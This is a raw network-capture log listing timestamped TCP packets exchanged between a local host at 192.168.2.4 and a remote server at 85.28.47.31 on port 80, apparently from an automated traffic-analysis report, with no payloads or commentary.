Jul 24, 2024 02:39:05.351181984 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.351181984 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.351196051 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.351212978 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.440691948 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.440809011 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.440843105 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.440876007 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.440908909 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.440941095 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.440968990 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.440974951 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.441008091 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.441060066 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.441093922 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.441127062 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.441159964 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.441178083 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.441178083 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.441178083 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.441178083 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.441178083 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.441191912 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.441226006 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.441265106 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.441294909 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.441329002 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.441396952 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.441428900 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.441461086 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.441488981 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.441488981 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.441494942 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.441550016 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.441601038 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.441633940 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.441636086 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.441668034 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.441673994 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.441695929 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.441704035 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.441710949 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.441732883 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.441749096 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.441766977 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.441800117 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.441800117 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.441831112 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.441833973 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.441849947 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.441868067 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.441885948 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.441900969 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.441915035 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.441936970 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.441953897 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.441972017 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.441993952 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.442004919 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.442039013 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.442051888 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.442073107 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.442074060 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.442101002 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.442107916 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.442130089 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.442143917 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.442193031 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.442245960 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.442275047 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.442301989 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.442308903 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.442334890 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.442343950 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.442353964 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.442394018 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.442461014 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.442511082 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.442512989 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.442547083 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.442559004 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.442580938 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.442615032 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.442641973 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.442648888 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.442662954 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.442682981 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.442693949 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.442717075 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.442749977 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.442776918 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.442784071 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.442795038 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.442820072 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.442831993 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.442853928 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.442878008 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.442888975 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.442898035 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.442923069 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.442940950 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.442956924 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.442970991 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.442990065 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.443002939 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.443027020 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.443049908 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.443069935 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.443284988 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.443319082 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.443341970 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.443351984 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.443361044 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.443384886 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.443434000 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.443471909 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.443506002 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.443540096 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.443573952 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.443573952 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.443598986 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.443607092 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.443640947 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.443658113 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.443674088 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.443689108 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.443707943 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.443731070 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.443758965 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.443775892 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.443794012 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.443813086 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.443828106 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.443852901 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.443862915 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.443872929 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.443912983 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.444433928 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.444468021 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.444504976 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.444518089 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.444525003 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.444555998 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.444591999 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.444597006 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.444624901 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.444633007 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.444659948 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.444662094 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.444680929 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.444695950 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.444713116 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.444730043 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.444746971 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.444765091 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.444776058 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.444799900 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.444835901 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.444837093 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.444855928 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.444870949 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.444885969 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.444909096 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.444936991 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.444942951 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.444957018 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.444977999 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.445004940 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.445013046 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.445030928 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.445050001 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.445060968 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.445100069 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.445350885 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.445384979 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.445406914 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.445417881 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.445426941 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.445451975 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.445472956 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.445486069 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.445518017 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.445544004 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.445554018 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.445566893 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.445590019 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.445605993 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.445622921 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.445651054 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.445657015 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.445666075 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.445691109 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.445723057 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.445744991 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.445758104 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.445770979 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.445792913 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.445821047 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.445827007 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.445852995 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.445861101 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.445895910 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.445895910 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.445920944 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.445938110 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.535404921 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.535528898 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.535563946 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.535597086 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.535629988 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.535661936 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.535670042 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.535702944 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.535732031 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.535732031 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.535756111 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.535757065 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.535789967 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.535824060 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.535856962 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.535890102 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.535922050 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.535972118 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.536004066 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.536036968 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.536111116 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.536144018 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.536176920 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.536175013 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.536175013 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.536175013 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.536175013 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.536210060 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.536245108 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.536257029 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.536257982 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.536257982 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.536281109 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.536295891 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.536315918 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.536329985 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.536350965 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.536380053 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.536386967 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.536397934 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.536442041 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.536582947 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.536614895 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.536648989 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.536681890 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.536715984 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.536748886 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.536757946 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.536758900 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.536758900 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.536758900 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.536758900 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.536782980 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.536818027 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.536845922 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.536845922 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.536853075 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.536868095 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.536887884 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.536901951 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.536922932 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.536952019 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.536961079 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.536971092 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.537009001 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.537223101 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.537256002 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.537288904 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.537290096 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.537311077 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.537364960 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.537395954 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.537398100 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.537416935 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.537434101 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.537451029 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.537467957 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.537482977 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.537503004 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.537517071 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.537543058 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.537553072 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.537576914 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.537612915 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.537612915 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.537612915 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.537641048 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.537657976 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.537900925 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.537940979 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.537971020 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.537972927 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.537987947 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.538007975 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.538022995 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.538041115 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.538057089 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.538074970 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.538094044 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.538110018 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.538119078 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.538127899 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.538146973 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.538161993 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.538177967 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.538178921 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.538196087 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.538212061 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.538227081 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.538245916 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.538374901 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.538770914 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.538794994 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.538810015 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.538826942 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.538844109 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.538860083 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.538865089 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.538875103 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.538889885 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.538891077 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.538907051 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.538923025 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.538928032 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.538939953 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.538948059 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.538954973 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.538969040 CEST	49730	80	192.168.2.4	85.28.47.31
